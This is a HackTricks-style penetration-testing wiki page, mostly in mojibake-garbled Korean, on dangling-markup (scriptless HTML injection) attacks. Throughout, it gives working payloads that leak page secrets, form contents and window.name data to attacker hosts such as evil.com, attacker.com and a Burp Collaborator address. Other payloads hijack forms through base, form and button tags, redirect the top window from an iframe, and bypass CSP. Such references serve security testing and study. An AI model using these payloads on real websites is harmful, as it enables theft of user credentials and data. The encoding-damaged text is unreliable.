Dangling Markup - HTML scriptless injection

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Resume

์ด ๊ธฐ์ˆ ์€ HTML injection์ด ๋ฐœ๊ฒฌ๋˜์—ˆ์„ ๋•Œ ์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ ์ •๋ณด๋ฅผ ์ถ”์ถœํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” XSS XSS ๋ฅผ ์•…์šฉํ•  ๋ฐฉ๋ฒ•์„ ์ฐพ์ง€ ๋ชปํ–ˆ์ง€๋งŒ ์ผ๋ถ€ HTML ํƒœ๊ทธ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ ๋งค์šฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.
๋˜ํ•œ HTML์— ๋น„๋ฐ€์ด ํ‰๋ฌธ์œผ๋กœ ์ €์žฅ๋˜์–ด ์žˆ๊ณ  ์ด๋ฅผ ํด๋ผ์ด์–ธํŠธ์—์„œ ์œ ์ถœํ•˜๊ณ  ์‹ถ๊ฑฐ๋‚˜, ์ผ๋ถ€ ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰์„ ์˜ค๋„ํ•˜๊ณ  ์‹ถ์„ ๋•Œ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.

์—ฌ๊ธฐ์—์„œ ์–ธ๊ธ‰๋œ ์—ฌ๋Ÿฌ ๊ธฐ์ˆ ์€ ์ •๋ณด๋ฅผ ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๋ฐฉ์‹์œผ๋กœ ์œ ์ถœํ•˜์—ฌ ์ผ๋ถ€ Content Security Policy๋ฅผ ์šฐํšŒํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (html ํƒœ๊ทธ, CSS, http-meta ํƒœ๊ทธ, ํผ, baseโ€ฆ).

Main Applications

Stealing clear text secrets

ํŽ˜์ด์ง€๊ฐ€ ๋กœ๋“œ๋  ๋•Œ <img src='http://evil.com/log.cgi?๋ฅผ ์ฃผ์ž…ํ•˜๋ฉด ํ”ผํ•ด์ž๋Š” ์ฃผ์ž…๋œ img ํƒœ๊ทธ์™€ ์ฝ”๋“œ ๋‚ด์˜ ๋‹ค์Œ ์ธ์šฉ๋ถ€ํ˜ธ ์‚ฌ์ด์˜ ๋ชจ๋“  ์ฝ”๋“œ๋ฅผ ์ „์†กํ•ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ ๊ทธ ์กฐ๊ฐ์— ๋น„๋ฐ€์ด ํฌํ•จ๋˜์–ด ์žˆ๋‹ค๋ฉด, ๋‹น์‹ ์€ ๊ทธ๊ฒƒ์„ ํ›”์น  ๊ฒƒ์ž…๋‹ˆ๋‹ค(๋”๋ธ” ์ธ์šฉ๋ถ€ํ˜ธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ฐ™์€ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์–ด๋–ค ๊ฒƒ์ด ๋” ํฅ๋ฏธ๋กœ์šธ์ง€ ์‚ดํŽด๋ณด์„ธ์š”).

img ํƒœ๊ทธ๊ฐ€ ๊ธˆ์ง€๋œ ๊ฒฝ์šฐ(CSP ๋•Œ๋ฌธ์ผ ์ˆ˜ ์žˆ์Œ) <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

Chrome๋Š” โ€œ<โ€ ๋˜๋Š” โ€œ\nโ€œ์ด ํฌํ•จ๋œ HTTP URL์„ ์ฐจ๋‹จํ•ฉ๋‹ˆ๋‹ค, ๋”ฐ๋ผ์„œ โ€œftpโ€œ์™€ ๊ฐ™์€ ๋‹ค๋ฅธ ํ”„๋กœํ† ์ฝœ ์Šคํ‚ด์„ ์‹œ๋„ํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

CSS @import๋ฅผ ์•…์šฉํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค(๋ชจ๋“  ์ฝ”๋“œ๋ฅผ ์ „์†กํ•˜๋ฉฐ โ€œ;โ€œ๋ฅผ ์ฐพ์„ ๋•Œ๊นŒ์ง€ ๊ณ„์†ํ•ฉ๋‹ˆ๋‹ค).

<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;

๋‹น์‹ ์€ ๋˜ํ•œ **<table**์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<table background='//your-collaborator-id.burpcollaborator.net?'

<base ํƒœ๊ทธ๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ชจ๋“  ์ •๋ณด๋Š” ์ธ์šฉ์ด ๋‹ซํž ๋•Œ๊นŒ์ง€ ์ „์†ก๋˜์ง€๋งŒ ์ผ๋ถ€ ์‚ฌ์šฉ์ž ์ƒํ˜ธ์ž‘์šฉ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค(์‚ฌ์šฉ์ž๊ฐ€ ๋งํฌ๋ฅผ ํด๋ฆญํ•ด์•ผ ํ•˜๋ฉฐ, ๊ธฐ๋ณธ ํƒœ๊ทธ๊ฐ€ ๋งํฌ๊ฐ€ ๊ฐ€๋ฆฌํ‚ค๋Š” ๋„๋ฉ”์ธ์„ ๋ณ€๊ฒฝํ–ˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค):

<base target='        <--- Injected
steal me'<b>test</b>

์–‘์‹ ํ›”์น˜๊ธฐ

<base href="http://evil.com/" />

๊ทธ๋Ÿฐ ๋‹ค์Œ, ๋ฐ์ดํ„ฐ๋ฅผ ๊ฒฝ๋กœ๋กœ ์ „์†กํ•˜๋Š” ํผ(<form action='update_profile.php'>)์€ ์•…์„ฑ ๋„๋ฉ”์ธ์œผ๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•ฉ๋‹ˆ๋‹ค.

ํผ ํ›”์น˜๊ธฐ 2

ํผ ํ—ค๋”๋ฅผ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค: <form action='http://evil.com/log_steal'> ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ๋‹ค์Œ ํผ ํ—ค๋”๊ฐ€ ๋ฎ์–ด์“ฐ์—ฌ์ง€๊ณ  ํผ์˜ ๋ชจ๋“  ๋ฐ์ดํ„ฐ๊ฐ€ ๊ณต๊ฒฉ์ž์—๊ฒŒ ์ „์†ก๋ฉ๋‹ˆ๋‹ค.

ํผ ํ›”์น˜๊ธฐ 3

๋ฒ„ํŠผ์€ โ€œformactionโ€ ์†์„ฑ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ •๋ณด๊ฐ€ ์ „์†ก๋  URL์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<button name="xss" type="submit" formaction="https://google.com">
I get consumed!
</button>

๊ณต๊ฒฉ์ž๋Š” ์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ •๋ณด๋ฅผ ํ›”์น  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ๊ณต๊ฒฉ์˜ ์˜ˆ๋ฅผ ์ด ๋ฌธ์„œ์—์„œ ์ฐพ์œผ์„ธ์š”.

๋ช…ํ™•ํ•œ ํ…์ŠคํŠธ ๋น„๋ฐ€ ํ›”์น˜๊ธฐ 2

๊ฐ€์žฅ ์ตœ๊ทผ์— ์–ธ๊ธ‰๋œ ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•˜์—ฌ ์–‘์‹์„ ํ›”์น˜๋Š” ๊ฒƒ(์ƒˆ ์–‘์‹ ํ—ค๋” ์ฃผ์ž…)์„ ํ†ตํ•ด ์ƒˆ๋กœ์šด ์ž…๋ ฅ ํ•„๋“œ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<input type='hidden' name='review_body' value="

์ด ์ž…๋ ฅ ํ•„๋“œ๋Š” HTML์—์„œ ์ด์ค‘ ๋”ฐ์˜ดํ‘œ ์‚ฌ์ด์˜ ๋ชจ๋“  ๋‚ด์šฉ์„ ํฌํ•จํ•˜๊ณ  ๋‹ค์Œ ์ด์ค‘ ๋”ฐ์˜ดํ‘œ๊นŒ์ง€ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ณต๊ฒฉ์€ โ€œStealing clear text secretsโ€œ์™€ โ€œStealing forms2โ€œ๋ฅผ ํ˜ผํ•ฉํ•ฉ๋‹ˆ๋‹ค.

ํผ๊ณผ <option> ํƒœ๊ทธ๋ฅผ ์ฃผ์ž…ํ•˜์—ฌ ๋™์ผํ•œ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ซํžŒ </option>์ด ๋ฐœ๊ฒฌ๋  ๋•Œ๊นŒ์ง€ ๋ชจ๋“  ๋ฐ์ดํ„ฐ๊ฐ€ ์ „์†ก๋ฉ๋‹ˆ๋‹ค:

<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option

Form parameter injection

ํผ์˜ ๊ฒฝ๋กœ๋ฅผ ๋ณ€๊ฒฝํ•˜๊ณ  ์ƒˆ๋กœ์šด ๊ฐ’์„ ์‚ฝ์ž…ํ•˜์—ฌ ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ์ž‘์—…์ด ์ˆ˜ํ–‰๋˜๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<form action="/change_settings.php">
<input type="hidden" name="invite_user" value="fredmbogo" /> โ† Injected lines

<form action="/change_settings.php">
โ† Existing form (ignored by the parser) ...
<input type="text" name="invite_user" value="" /> โ† Subverted field ...
<input type="hidden" name="xsrf_token" value="12345" />
...
</form>
</form>

Stealing clear text secrets via noscript

<noscript></noscript>๋Š” ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ง€์›ํ•˜์ง€ ์•Š์„ ๊ฒฝ์šฐ ๊ทธ ๋‚ด์šฉ์„ ํ•ด์„ํ•˜๋Š” ํƒœ๊ทธ์ž…๋‹ˆ๋‹ค (Chrome์—์„œ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๋ฅผ chrome://settings/content/javascript์—์„œ ํ™œ์„ฑํ™”/๋น„ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค).

๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ์‚ฌ์ดํŠธ๋กœ ์ฃผ์ž… ์ง€์ ์—์„œ ํ•˜๋‹จ๊นŒ์ง€ ์›น ํŽ˜์ด์ง€์˜ ๋‚ด์šฉ์„ ์œ ์ถœํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ์„ ์ฃผ์ž…ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค:

<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>

Bypassing CSP with user interaction

From this portswiggers research you can learn that even from the most CSP restricted environments you can still exfiltrate data with some user interaction. In this occasion we are going to use the payload:

<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='

ํฌ์ƒ์ž์—๊ฒŒ ๋งํฌ๋ฅผ ํด๋ฆญํ•˜๋„๋ก ์š”์ฒญํ•˜์—ฌ ๋‹น์‹ ์ด ์ œ์–ดํ•˜๋Š” ํŽ˜์ด๋กœ๋“œ๋กœ ๋ฆฌ๋””๋ ‰์…˜๋˜๋„๋ก ํ•˜์‹ญ์‹œ์˜ค. ๋˜ํ•œ base ํƒœ๊ทธ ๋‚ด์˜ target ์†์„ฑ์€ ๋‹ค์Œ ๋‹จ์ผ ์ธ์šฉ๋ถ€ํ˜ธ๊นŒ์ง€ HTML ์ฝ˜ํ…์ธ ๋ฅผ ํฌํ•จํ•  ๊ฒƒ์ž„์„ ์œ ์˜ํ•˜์‹ญ์‹œ์˜ค.
์ด๋กœ ์ธํ•ด ๋งํฌ๊ฐ€ ํด๋ฆญ๋˜๋ฉด **window.name**์˜ ๊ฐ’์€ ๋ชจ๋“  HTML ์ฝ˜ํ…์ธ ๊ฐ€ ๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ํฌ์ƒ์ž๊ฐ€ ๋งํฌ๋ฅผ ํด๋ฆญํ•˜์—ฌ ์ ‘๊ทผํ•˜๋Š” ํŽ˜์ด์ง€๋ฅผ ์ œ์–ดํ•˜๋ฏ€๋กœ ํ•ด๋‹น **window.name**์— ์ ‘๊ทผํ•˜๊ณ  ๊ทธ ๋ฐ์ดํ„ฐ๋ฅผ ์œ ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>

์˜คํ•ด์˜ ์†Œ์ง€๊ฐ€ ์žˆ๋Š” ์Šคํฌ๋ฆฝํŠธ ์›Œํฌํ”Œ๋กœ์šฐ 1 - HTML ๋„ค์ž„์ŠคํŽ˜์ด์Šค ๊ณต๊ฒฉ

HTML ๋‚ด๋ถ€์— ์ƒˆ๋กœ์šด ํƒœ๊ทธ์™€ ID๋ฅผ ์‚ฝ์ž…ํ•˜์—ฌ ๋‹ค์Œ ํƒœ๊ทธ๋ฅผ ๋ฎ์–ด์“ฐ๊ณ  ์Šคํฌ๋ฆฝํŠธ์˜ ํ๋ฆ„์— ์˜ํ–ฅ์„ ๋ฏธ์น  ๊ฐ’์„ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. ์ด ์˜ˆ์ œ์—์„œ๋Š” ์ •๋ณด๊ฐ€ ๊ณต์œ ๋  ๋Œ€์ƒ์„ ์„ ํƒํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค:

<input type="hidden" id="share_with" value="fredmbogo" /> โ† Injected markup ...
Share this status update with: โ† Legitimate optional element of a dialog
<input id="share_with" value="" />

... function submit_status_update() { ... request.share_with =
document.getElementById('share_with').value; ... }

์˜คํ•ด์˜ ์†Œ์ง€๊ฐ€ ์žˆ๋Š” ์Šคํฌ๋ฆฝํŠธ ์›Œํฌํ”Œ๋กœ์šฐ 2 - ์Šคํฌ๋ฆฝํŠธ ๋„ค์ž„์ŠคํŽ˜์ด์Šค ๊ณต๊ฒฉ

HTML ํƒœ๊ทธ๋ฅผ ์‚ฝ์ž…ํ•˜์—ฌ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ๋„ค์ž„์ŠคํŽ˜์ด์Šค ๋‚ด์— ๋ณ€์ˆ˜๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ ์ด ๋ณ€์ˆ˜๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ํ๋ฆ„์— ์˜ํ–ฅ์„ ๋ฏธ์นฉ๋‹ˆ๋‹ค:

<img id="is_public" /> โ† Injected markup ... // Legitimate application code
follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) โ†
The subsequent assignment fails in IE is_public = true; else is_public = false;
} function submit_new_acls() { ... if (is_public) request.access_mode =
AM_PUBLIC; โ† Condition always evaluates to true ... }

JSONP ๋‚จ์šฉ

JSONP ์ธํ„ฐํŽ˜์ด์Šค๋ฅผ ์ฐพ์œผ๋ฉด ์ž„์˜์˜ ๋ฐ์ดํ„ฐ๋กœ ์ž„์˜์˜ ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<script src='/editor/sharing.js'>:              โ† Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    โ† Injected JSONP call
set_sharing({ ... })

๋˜๋Š” ์ผ๋ถ€ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•ด ๋ณผ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค:

<script src="/search?q=a&call=alert(1)"></script>

Iframe ๋‚จ์šฉ

์ž์‹ ๋ฌธ์„œ๋Š” ๊ต์ฐจ ์ถœ์ฒ˜ ์ƒํ™ฉ์—์„œ๋„ ๋ถ€๋ชจ์˜ location ์†์„ฑ์„ ๋ณด๊ณ  ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ์„ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” iframe ๋‚ด์— ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…ํ•˜์—ฌ ํด๋ผ์ด์–ธํŠธ๋ฅผ ์ž„์˜์˜ ํŽ˜์ด์ง€๋กœ ๋ฆฌ๋””๋ ‰์…˜ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค:

<html>
<head></head>
<body>
<script>
top.window.location = "https://attacker.com/hacked.html"
</script>
</body>
</html>

์ด๊ฒƒ์€ sandbox=' allow-scripts allow-top-navigation'์™€ ๊ฐ™์€ ๋ฐฉ๋ฒ•์œผ๋กœ ์™„ํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

iframe์€ iframe name ์†์„ฑ์„ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ค๋ฅธ ํŽ˜์ด์ง€์—์„œ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ์œ ์ถœํ•˜๋Š” ๋ฐ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” HTML ์ฃผ์ž…์„ ์•…์šฉํ•˜์—ฌ ๋ฏผ๊ฐํ•œ ์ •๋ณด๊ฐ€ iframe name ์†์„ฑ ์•ˆ์— ๋‚˜ํƒ€๋‚˜๊ฒŒ ํ•˜๋Š” iframe์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด๋ฉฐ, ๊ทธ๋Ÿฐ ๋‹ค์Œ ์ดˆ๊ธฐ iframe์—์„œ ํ•ด๋‹น ์ด๋ฆ„์— ์ ‘๊ทผํ•˜์—ฌ ์œ ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

<script>
function cspBypass(win) {
win[0].location = "about:blank"
setTimeout(() => alert(win[0].name), 500)
}
</script>

<iframe
src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
onload="cspBypass(this.contentWindow)"></iframe>

๋” ๋งŽ์€ ์ •๋ณด๋Š” https://portswigger.net/research/bypassing-csp-with-dangling-iframes๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

<meta ๋‚จ์šฉ

**meta http-equiv**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ฟ ํ‚ค ์„ค์ •: <meta http-equiv="Set-Cookie" Content="SESSID=1"> ๋˜๋Š” ๋ฆฌ๋””๋ ‰์…˜ ์ˆ˜ํ–‰(์ด ๊ฒฝ์šฐ 5์ดˆ ํ›„): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />์™€ ๊ฐ™์€ ์—ฌ๋Ÿฌ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋Š” http-equiv์— ๋Œ€ํ•œ CSP๋กœ ํšŒํ”ผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค ( Content-Security-Policy: default-src 'self';, ๋˜๋Š” Content-Security-Policy: http-equiv 'self';).

์ƒˆ๋กœ์šด <portal HTML ํƒœ๊ทธ

<portal ํƒœ๊ทธ์˜ ์ทจ์•ฝ์ ์— ๋Œ€ํ•œ ๋งค์šฐ ํฅ๋ฏธ๋กœ์šด ์—ฐ๊ตฌ๋ฅผ ์—ฌ๊ธฐ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์ด ๊ธ€์„ ์ž‘์„ฑํ•  ๋‹น์‹œ Chrome์—์„œ chrome://flags/#enable-portals์—์„œ portal ํƒœ๊ทธ๋ฅผ ํ™œ์„ฑํ™”ํ•ด์•ผ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค.

<portal src='https://attacker-server?

HTML ๋ˆ„์ˆ˜

HTML์—์„œ ์—ฐ๊ฒฐ์„ฑ์„ ๋ˆ„์ถœํ•˜๋Š” ๋ชจ๋“  ๋ฐฉ๋ฒ•์ด Dangling Markup์— ์œ ์šฉํ•˜์ง€๋Š” ์•Š์ง€๋งŒ, ๋•Œ๋•Œ๋กœ ๋„์›€์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์—์„œ ํ™•์ธํ•˜์„ธ์š”: https://github.com/cure53/HTTPLeaks/blob/master/leak.html

SS-Leaks

์ด๊ฒƒ์€ dangling markup์™€ XS-Leaks์˜ ํ˜ผํ•ฉ์ž…๋‹ˆ๋‹ค. ํ•œํŽธ์œผ๋กœ๋Š” ์ทจ์•ฝ์ ์ด ๊ฐ™์€ ์ถœ์ฒ˜์˜ ํŽ˜์ด์ง€์— HTML(ํ•˜์ง€๋งŒ JS๋Š” ์•„๋‹˜)์„ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ๋‹ค๋ฅธ ํ•œํŽธ์œผ๋กœ๋Š” HTML์„ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ๋Š” ํŽ˜์ด์ง€๋ฅผ ์ง์ ‘ ๊ณต๊ฒฉํ•˜์ง€ ์•Š๊ณ , ๋‹ค๋ฅธ ํŽ˜์ด์ง€๋ฅผ ๊ณต๊ฒฉํ•ฉ๋‹ˆ๋‹ค.

SS-Leaks

XS-Search/XS-Leaks

XS-Search๋Š” ์‚ฌ์ด๋“œ ์ฑ„๋„ ๊ณต๊ฒฉ์„ ์•…์šฉํ•˜์—ฌ ๊ต์ฐจ ์ถœ์ฒ˜ ์ •๋ณด๋ฅผ ์œ ์ถœํ•˜๋Š” ๋ฐ ์ดˆ์ ์„ ๋งž์ถ”๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ, ์ด๋Š” Dangling Markup๊ณผ๋Š” ๋‹ค๋ฅธ ๊ธฐ์ˆ ์ด์ง€๋งŒ, ์ผ๋ถ€ ๊ธฐ์ˆ ์€ HTML ํƒœ๊ทธ์˜ ํฌํ•จ์„ ์•…์šฉํ•ฉ๋‹ˆ๋‹ค(JS ์‹คํ–‰ ์—ฌ๋ถ€์™€ ๊ด€๊ณ„์—†์ด), ์˜ˆ๋ฅผ ๋“ค์–ด CSS Injection ๋˜๋Š” Lazy Load Images.

XS-Search/XS-Leaks

๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ํƒ์ง€ ๋ชฉ๋ก

Auto_Wordlists/wordlists/dangling_markup.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

์ฐธ๊ณ  ๋ฌธํ—Œ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ